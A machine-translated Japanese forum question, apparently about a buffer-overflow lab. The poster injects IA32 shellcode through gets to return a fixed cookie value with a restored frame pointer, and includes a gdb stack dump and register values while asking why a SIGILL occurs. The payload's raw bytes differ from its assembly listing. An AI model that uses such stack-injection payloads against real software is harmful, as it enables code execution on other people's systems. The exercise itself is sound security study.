教育目的でのみバッファ オーバーフローを実行しています。gets を使用して端末からの入力を受け取るという関数があります。この関数が、それを呼び出した関数に特定の値 " " を返し0x524ddf1e
て、スタックが変更されたことを認識させないようにしたいと考えています。これは IA32 で実行される C コードです。私の思考プロセスは次のとおりです。
1. b8 1e df 4d 52 mov $0x524ddf1e,%eax
2. bd f8 72 ff ff mov $0xffff72f8,%ebp
3. 68 12 8a 04 08 push $0x8048a12
4. c3 ret
1 行目。特定の値を %eax に移動したいと考えています。
2 行目。関数を中断し、ebp を 0xffff72f8 として読み取るので、スタックをクリーンに保つためにそのまま戻します。
行 3. 正しい場所で私を呼び出した関数に戻りたい。
4 行目。
関数に入ってフリーズしたスタックのダンプは次のとおりです。
(gdb) x /16wx 0xffff72a4
0xffff72a4: 0x00681fc4 0x00671a62 0x00682ab0 0xf7ffc6b0
*(VVVV 0xffff72b4 is where my exploit code is written VVVV)*
0xffff72b4: 0x00000001 0x00000001 0xffff7304 0x080483c8
0xffff72c4: 0x0804a108 0xffff72f8 0x08048a12 0x00000000
0xffff72d4: 0x00000000 0xffff72f8 0x006ce7d0 0xffffd5b8
%ebp と %esp は次のとおりです。
esp 0xffff72a0 0xffff72a0
ebp 0xffff72c8 0xffff72c8
生のバイトコードを書くことを考えているとき(後で解釈される)、私は次のことを行います:
b8 1e df 4d 52 db f8 72 ff ff 68 12 8a 04 08 c3 08 a1 04 08 f8 72 ff ff b4 72 ff ff
|---------------exploit code-------------------||------keep same------||-where exploit code starts-|
Keep same
上記のスタックダンプで、元の値を以前と同じに保つことにしたところです。
アセンブリを書いているとき、または挿入するバイトコードを書き込もうとしているときに、何かを誤解していると思います。0xffff72b9 に SIGILL が表示されます。アドバイスをいただければ幸いです。